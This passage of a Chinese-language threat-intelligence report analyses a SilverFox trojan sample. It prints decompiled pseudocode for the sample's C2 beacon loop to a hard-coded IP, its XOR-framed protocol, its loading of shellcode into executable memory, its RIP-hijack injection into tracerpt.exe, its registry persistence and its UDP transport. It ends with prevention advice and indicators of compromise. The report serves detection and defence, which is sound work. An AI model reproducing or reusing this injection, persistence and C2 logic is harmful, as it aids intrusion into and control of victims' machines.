bz: 标志(通常意味着样本生成日期) 9.18
jp:/sx:/bh:/ll:/dl:/sh:/bd: 布尔开关(代表着特定功能的模块是否需要拉取) —

  解析结果写入全局配置结构体g_CfgStruct(4768字节),三路C2主机/端口/协议分别存入对应全局字段。若注册表HKCU\Console\IpDate存在备份配置且数据长度超过10字节,则以注册表缓存覆盖三路C2配置后重新解析:

// 配置解析器核心流程(省略重复字段解析)
int ParseC2Config_FromStringAndRegistry()
{
    if ( g_bConfigInitDone )
        return 0;
    g_bConfigInitDone = 1;

    wcsrev(g_wszConfigRaw);            // 倒序还原配置串
    memset(&g_CfgStruct, 0, 0x12A0);

    Config_ExtractField(L"p1:", &g_wszC2Host1);
    Config_ExtractField(L"o1:", &g_wszC2Port1);
    // ... 依次解析 p2/o2/t2, p3/o3/t3, dd/cl/kl 等字段 ...

    if ( RegOpenKeyExW(HKEY_CURRENT_USER, L"Console", 0,
                       KEY_READ, &hKey) == ERROR_SUCCESS )
    {
        // 读取 IpDate 值,cbData > 0xA 时覆盖并重新解析
    }
    return 0;                          // 实机返回解析过程中的中间值,调用方均忽略
}
上线主循环(主备乒乓切换 + 每 200 次切第三路)

  C2_MainLoop_StartAddress为上线主循环线程入口,以__noreturn无限循环方式运行,在102.134.35.246的1688、1888、88三个TCP端点间轮换上线:

// C2上线主循环(线程入口,永不返回)
void __fastcall __noreturn C2_MainLoop_StartAddress(LPVOID lpThreadParameter)
{
    unsigned int init_delay_sec;

    init_delay_sec = WStrToUIntDec(g_wszCfgDelayStart);
    Sleep(1000 * init_delay_sec);                    // 首延迟

    // 一次性构造 TCP 和 UDP 传输对象
    pTcpSocket = CTcpSocket_ctor(operator new(0xB8));
    pUdpSocket = CUdpSocket_ctor(operator new(0x368));

    while ( 1 )
    {
        // 主/备C2乒乓切换
        if ( g_use_backup_c2 )
        {
            wcscpy_s(&sz_c2_host, 0xFF, &g_wszC2Host2);
            wcscpy_s(&sz_c2_port, 0x1E, &g_wszC2Port2);
            socket_type = g_dwC2Proto2;
        }
        else
        {
            wcscpy_s(&sz_c2_host, 0xFF, &g_wszC2Host1);
            wcscpy_s(&sz_c2_port, 0x1E, &g_wszC2Port1);
            socket_type = g_dwC2Proto1;
        }
        g_use_backup_c2 = !g_use_backup_c2;          // 乒乓翻转

        // 每200次尝试强制使用第三路C2
        if ( ++g_attempt_counter == 200 )
        {
            wcscpy_s(&sz_c2_host, 0xFF, &g_wszC2Host3);
            wcscpy_s(&sz_c2_port, 0x1E, &g_wszC2Port3);
            socket_type = g_dwC2Proto3;
            g_attempt_counter = 0;
        }

        // 上一轮的传输对象先复位(vtable[0])
        if ( pCurrentSocket )
            (*(void(**)(void*))pCurrentSocket)(pCurrentSocket);

        pCurrentSocket = pUdpSocket;
        if ( socket_type == 1 )
            pCurrentSocket = pTcpSocket;

        retry_interval_sec = WStrToUIntDec(g_wszCfgDelayRetry);
        Sleep(1000 * retry_interval_sec);

        c2_port = WStrToUIntDec(&sz_c2_port);
        if ( pVtable[4](pCurrentSocket, &sz_c2_host, c2_port) )
        {
            v12[0] = &g_CManager_vftable;
            v12[1] = pCurrentSocket;
            pVtable[3](pCurrentSocket, v12);          // SetManagerDescriptor:socket+0x28 = 描述符

            hObject = CreateEventA(0, 1, 0, 0);       // 会话事件(描述符+0x18),本轮只创建与关闭
            v13 = 0;                                  // 描述符+0x10 = done 标志
            v12[0] = &g_CKernelManager_vftable;       // 同一块栈内存改作 CKernelManager 对象:收包即经 socket+0x28 的虚表槽0 进入 C2 包处理
            v15 = g_dwCfgKl;                          // CKernelManager+0x28 = kl: 开关

            // vtable[2]: SendFrame(上线载荷 04 01, 2字节)
            LOWORD(v17) = 260;
            pVtable[2](pCurrentSocket, &v17, 2);

            // vtable[5]: StopAndJoin(会话阻塞点,返回即本轮会话结束)
            pVtable[5](pCurrentSocket);

            WaitForSingleObject(hHandle, INFINITE);   // hHandle 恒为 NULL → 无效等待
            CloseHandle(hHandle);
            CloseHandle(hObject);
        }
    }
}
通信协议(14 字节帧头 + 会话块 XOR + 心跳)

  线上传输采用两层帧格式。套接字层帧头为14字节:4字节小端总长、8字节会话块、2字节会话标识。帧头中的10字节(8字节会话块+2字节标识)同时充当XOR加密密钥:

// 帧头组装与加密(CTcpSocket_SendFrame 精简)
__int64 __fastcall CTcpSocket_SendFrame(__int64 pThis,
    const void *pPayload, unsigned int cbPayload)
{
    EnterSpinLock(pThis);

    *cur++ = cbPayload + 14;          // 4B LE 总长 = 载荷+14
    *(__int64*)cur = *(__int64*)(pThis + 0x30);    // 8B 会话时间戳
    cur += 8;
    *(__int16*)cur = *(__int16*)(pThis + 0x38);    // 2B 会话标识(0x01CA)
    cur += 2;

    // 载荷XOR加密追加(密钥 = this+0x30 的10字节会话块)
    CBufferAppend(pThis + 0x80, pPayload, cbPayload,
                  1, pThis + 0x30);

    CTcpSocket_SendAll(pThis, base, cur - base);

    ResetBuffer(pThis);
    LeaveSpinLock(pThis);
    return 1;
}

  载荷XOR加密使用与第二阶段下载通道相同的变体XOR算法((7 * key + 0x1F) ^ 0x77),密钥为10字节会话块,字节索引以max(i-1, 0) % 10循环。两阶段唯一区别是密钥取自哪里:

  • 第二阶段:密钥取自接收流自身头部的偏移+4到+13这10个字节(含首尾两端,即帧头中8字节会话块加2字节会话标识的明文)。
  • 第三阶段:密钥取自套接字对象中同一个会话块(CTcpSocket + 0x30的8字节会话时间戳加+0x38的2字节会话标识0x01CA),发帧时这10字节被写入帧头偏移+4到+13。

  上线握手载荷为2字节04 01(小端0x0104)。C2回应101字节令牌校验包:包首字节为类型标志,其后100字节为UTF-16存放的上线令牌9f2b0ad83c484fa3821c8d8c1a198007,客户端将其与注册表中缓存的令牌逐字符比对——一致即用缓存配置直接上线,不一致则重新索取载荷。

  心跳机制由CTcpSocket_HeartbeatThread实现,每约10秒(1000次Sleep(10ms))发送单字节0xC9探测包。若60秒(0xEA60毫秒)内未收到任何入站帧,则判定C2链路已断并自我中止会话:

// TCP心跳线程(每约10秒发送0xC9探测,60秒超时拆除)
__int64 __fastcall CTcpSocket_HeartbeatThread(_DWORD *this)
{
    int nTicks = 0;
    char bProbeByte = 0xC9;

    while ( this[8] )
    {
        Sleep(10);
        if ( ++nTicks >= 1000 )
        {
            (*(*(void***)this + 16))(this, &bProbeByte, 1);

            if ( timeGetTime() - this[7] > 0xEA60 )
                (*(*(void***)this))(this);             // vtable[0]: 自我拆除
        }
    }
    return 0;
}
C2命令处理(101 令牌校验包 / 非 101 装载新载荷)

  C2下发的数据包由CKernelManager_HandleC2PacketAndLoadPayload处理。包首字节0xC9为心跳过滤;该函数第三参并非类型码,而是CManager虚表槽0上抛的解密后明文长度——长度恰为101字节(令牌校验包)时走令牌比较路径(与注册表缓存的UTF-16令牌逐字符比对),其余长度即视为新配置加shellcode的安装路径。

  令牌不匹配时,客户端向C2发出0xA45字节类型5请求包索取新载荷:首字节为类型码0x05,包体以8字节魔数{vU_!jWW(包体+0x04)、UTF-16字符串.dll_bin(+0x0C)与qword值1(+0x204)作为请求标识。C2据此下发[0xA44配置头][shellcode]格式的载荷包:

// C2命令/载荷分发(虚表槽0)
// cbPlain = CManager 虚表槽0 上抛的明文长度(101 = 令牌校验包)
void __fastcall CKernelManager_HandleC2PacketAndLoadPayload(_QWORD *pThis,
    _BYTE *pPacket, int cbPlain)
{
    if ( *pPacket == 0xC9 )
        return;

    if ( cbPlain != 101 )
    {
        memmove(&g_CmdHeader, pPacket + 1, 0xA44);
        g_PayloadBuf = VirtualAlloc(0, g_PayloadSize,
            0x3000, 0x40);                   // MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE
        memmove((void*)g_PayloadBuf, pPacket + 2629, g_PayloadSize);

        // 先按 [0xA44配置头][payload] 拼装缓冲,再整块缓存到注册表
        pRegData = operator new(g_PayloadSize + 2628);
        memmove(pRegData, &g_CmdHeader, 0xA44);
        memmove(pRegData + 2628, g_PayloadBuf, g_PayloadSize);

        if ( !RegCreateKeyW(HKEY_CURRENT_USER, L"Console\\1", &hKey) )
        {
            RegDeleteValueW(hKey, L"d33f351a4aeea5e608853d1a56661059");
            RegSetValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059",
                0, REG_BINARY, pRegData, g_PayloadSize + 2628);
        }
        RegCloseKey(hKey);
        free(pRegData);

        goto LABEL_LAUNCH;
    }

    // cbPlain == 101 令牌校验包路径:从注册表恢复缓存的配置与载荷
    if ( !RegOpenKeyExW(HKEY_CURRENT_USER, L"Console\\1", 0, KEY_READ, &hKey) )
    {
        // 第一次调用仅取缓存长度,第二次才读取数据
        RegQueryValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059",
            0, &Type, NULL, &cbSize);
        if ( cbSize > 0xA44 )
        {
            pRegBuf = operator new(cbSize);
            RegQueryValueExW(hKey, L"d33f351a4aeea5e608853d1a56661059",
                0, &Type, pRegBuf, &cbSize);
            memmove(&g_CmdHeader, pRegBuf, 0xA44);
            g_PayloadBuf = VirtualAlloc(0, g_PayloadSize, 0x3000, 0x40);
            memmove((void*)g_PayloadBuf, pRegBuf + 2628, g_PayloadSize);
        }
        RegCloseKey(hKey);
    }

    // 逐字符比较收包体(pPacket+1)与缓存配置中的 UTF-16 令牌(配置头 +0x20C)
    if ( !wDiff )
    {
LABEL_LAUNCH:
        pThis[6] = _beginthreadex(0, 0, PayloadKeepaliveThread, pThis, 0, 0);
        Sleep(3000);
        (**(void***)pThis[1])(pThis[1]);
        return;
    }

    // 令牌不匹配:构造类型5请求包
    pReqPkt = operator new(0xA45);
    *pReqPkt = 5;
    memmove(pReqPkt + 1, &Src, 0xA44);
    if ( !*((_DWORD*)pThis + 4) )                       // pThis+0x10 为 0 时才发送
        (*(void**)(*pThis[1] + 16))(pThis[1], pReqPkt, 2629);
    free(pReqPkt);
}
进程注入(CREATE_SUSPENDED + 仅改 Rip)

  载荷shellcode通过InjectShellcodeIntoTracerptExe注入系统进程tracerpt.exe。

// 进程注入(非PE镂空,仅RIP劫持)
BOOL __fastcall InjectShellcodeIntoTracerptExe(int cbPayload,
    __int64 pProcessInfo)
{
    LPCVOID pPayloadBuf = g_PayloadBuf;
    SIZE_T cbPayloadSize = cbPayload;
    STARTUPINFOA si = {0};
    CONTEXT ctx = {0};
    CHAR szTargetPath[256];

    si.cb = 104;
    si.dwFlags = 1;
    si.wShowWindow = 0;                       // SW_HIDE

    // 取系统目录后截断为盘根,再拼接相对路径
    // 避免'C:\Windows\System32'完整路径出现在样本中
    GetSystemDirectoryA(szTargetPath, 0xFF);
    szTargetPath[3] = 0;                      // 'C:\Windows\System32' → 'C:\'
    SafeVsprintfA(szTargetPath, "%s%s",
        szTargetPath, "Windows\\System32\\tracerpt.exe");

    // 以挂起方式启动傀儡进程
    if ( !CreateProcessA(szTargetPath, 0, 0, 0, 0,
        CREATE_SUSPENDED, 0, 0, &si, pProcessInfo) )
        return 0;

    // 远程分配RWX内存并写入shellcode
    pRemoteBase = VirtualAllocEx(hProcess, 0, cbPayloadSize,
        0x3000, 0x40);
    if ( !pRemoteBase ||
         !WriteProcessMemory(hProcess, pRemoteBase,
             pPayloadBuf, cbPayloadSize, NULL) )
        return 0;                                 // 失败即返回,不清理

    // 仅修改Rip(不改RCX/RDX/RSP → 不传参、不换栈)
    ctx.ContextFlags = 0x10000B;
    if ( !GetThreadContext(hThread, &ctx) )
        return 0;                                 // 失败即返回,不清理
    ctx.Rip = (DWORD64)pRemoteBase;
    if ( !SetThreadContext(hThread, &ctx) )
        return 0;                                 // 失败即返回,不清理

    ResumeThread(hThread);
    return 1;
}
注入保活(3 秒轮询 + 无限重注入)

  PayloadKeepaliveThread为注入保活线程入口,负责配置内嵌、注册表持久化与无限重注入守护。守护模式(kl:配置位置1)下进入while(1)无限循环,每3秒轮询被注入进程存活状态,退出即立即重新注入:

// 注入保活线程(pKernelMgr = 主循环栈上构造的 CKernelManager 对象)
__int64 __fastcall PayloadKeepaliveThread(_DWORD *pKernelMgr)
{
    // 在载荷缓冲区中查找12字节标记 ihziepulgned(denglupeizhi 的字符倒序,即“登录配置”)
    nCfgEmbedOfs = FindLoginCfgMarkerInPayload(g_PayloadSize);
    if ( nCfgEmbedOfs != -1 )
        memmove((char*)g_PayloadBuf + nCfgEmbedOfs,
            &g_CfgStruct, 0x12A0);

    // 注册表持久化:先删后写
    RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, 0x102, &hKey);
    RegDeleteValueW(hKey, L"IpDates_info");
    RegSetValueExW(hKey, L"IpDates_info", 0, REG_BINARY,
        &g_CfgStruct, 0x12A0);
    RegCloseKey(hKey);

    if ( pKernelMgr[10] )                    // +0x28 = kl:配置位 → 守护模式
    {
        while ( 1 )
        {
            while ( !InjectShellcodeIntoTracerptExe(g_PayloadSize, pi) )
                ;

            while ( 1 )
            {
                hChildProc = OpenProcess(0x400, 0, pidChild);
                if ( !hChildProc ||
                     !GetExitCodeProcess(hChildProc, &dwExitCode) ||
                     dwExitCode != 259 )
                    break;                    // 进程已退出 → 立即重注入
                Sleep(3000);                  // 每3秒轮询一次
            }
        }
    }

    // 非守护模式:在本进程直接执行shellcode
    ((void(*)(void))g_PayloadBuf)();
    return 0;
}
注册表持久化(IpDates_info + Console\1 载荷缓存)

  该样本利用注册表实现配置持久化与载荷缓存,载荷不落地文件系统:

注册表键值(项\值名称) 类型 数据
HKLM\SOFTWARE\IpDates_info REG_BINARY 运行时配置结构
HKCU\Console\1\d33f351a4aeea5e608853d1a56661059 REG_BINARY [0xA44配置头][payload]
HKCU\Console\IpDate REG_BINARY C2配置串
自研ARQ可靠传输(UDP 上自带签收与重传)

  当配置中的协议位非1时,样本不使用TCP,而是在UDP上自建了一套可靠传输(CArqSessionT):每条记录都带序号并要求对方签收,没签收就重发,等待重发的时长按实测往返耗时自动调整。UDP本身不保证送达,这一步是该模块把长连接维持住的关键。

  ARQ层自身不加密:记录经CUdpSocket_QueueData原样入队、由发送泵直接send,因此UDP报文中的24字节私有头、类型码0x51('Q'数据)、0x52('R'签收)、0x53('S'探测)、0x54('T'窗口)与不超过1432字节的记录长度均为明文可见。

  做法上它照搬了TCP的成熟机制,只是自行实现:可连续发送多条记录而不必逐条等确认(滑动窗口,窗口大小由对端通告的接收窗口决定),并按累积确认号向前推进;发送速率采用慢启动(cwnd += MSS)与拥塞避免(cwnd += MSS²/cwnd + MSS/16);重传超时RTO(发出后多久没回音就重发)按RFC6298标准由SRTT(平滑RTT)与RTTVAR(RTT抖动)自适应计算,以免固定超时值在网络抖动时误重发、真丢包时干等:


__int64 __fastcall ArqUpdateRttRto(_DWORD *pArq, int rttSample)
{
    int srtt = pArq[11];
    int rttDiff;

    if ( srtt )
    {
        rttDiff = rttSample - srtt;
        if ( rttDiff < 0 ) rttDiff = -rttDiff;

        pArq[10] = (rttDiff + 2 * pArq[10] + pArq[10]) / 4;
        srttNew = (rttSample + 7 * srtt) / 8;
        if ( srttNew < 1 ) srttNew = 1;
        pArq[11] = srttNew;
    }
    else
    {
        pArq[11] = rttSample;
        pArq[10] = rttSample / 2;
    }

    rto = pArq[11] + max(4 * pArq[10], pArq[20]);
    if ( rto < pArq[13] ) rto = pArq[13];
    if ( rto > 60000 ) rto = 60000;

    pArq[12] = rto;
    return rto;
}

  ARQ帧采用24字节固定头(24字节头 + 最多1408字节载荷 = 单条上限1432字节,与UDP发送块上限socket+0x23C一致),全部多字节字段为小端编码:

偏移 宽度 语义
+0 u32 LE 会话ID(timeGetTime()原子递增生成)
+4 u8 类型(四类记录,取值见下表)
+5 u8 剩余分片数('Q'数据记录,接收端据此重组同一逻辑消息;控制记录为0)
+6 u16 LE 接收窗口大小
+8 u32 LE 时间戳(ACK回显,用于RTT计算)
+12 u32 LE 序号sn
+16 u32 LE 累积确认号
+20 u32 LE 载荷长度

  其中+4偏移的类型字段共四类取值,且全部落在可打印ASCII区间('Q'/'R'/'S'/'T'),抓包时肉眼即可分辨:

类型码 ASCII 名称
0x51 'Q' 数据
0x52 'R' 签收(ACK)
0x53 'S' 探测
0x54 'T' 窗口

  由于ARQ记录走的是上述独立队列与发送泵,套接字层的14字节帧头与XOR仅作用于SendFrame路径,即TCP传输与UDP保活/上线帧。

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

image

总结

  银狐木马攻击团伙自2022年开始活跃,其传播手段包括:即时通讯工具钓鱼,邮件附件钓鱼,钓鱼网站,下载站冒充常用工具等方式,主要针对企事业单位的管理、财务、销售、金融从业等相关人员发送具有针对性的钓鱼、欺诈类信息,望企事业单位务必要引起重视并加强相关安全培训,防范该家族木马的攻击。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

    image

  4. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    7f6ef2981a3e4f88f9e8d1571cd1103c
    909ec32ff0b1b4e8b1995afad83760bb
    752c7d381c203e35656921fae1a1775f
  • IPV4

    102.134.35.246
  • 瑞星病毒名

    Trojan.Injector!1.147FE
    Backdoor.SilverFox/x64!1.104D7
    Backdoor.PoisonMouse!1.EEEE

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *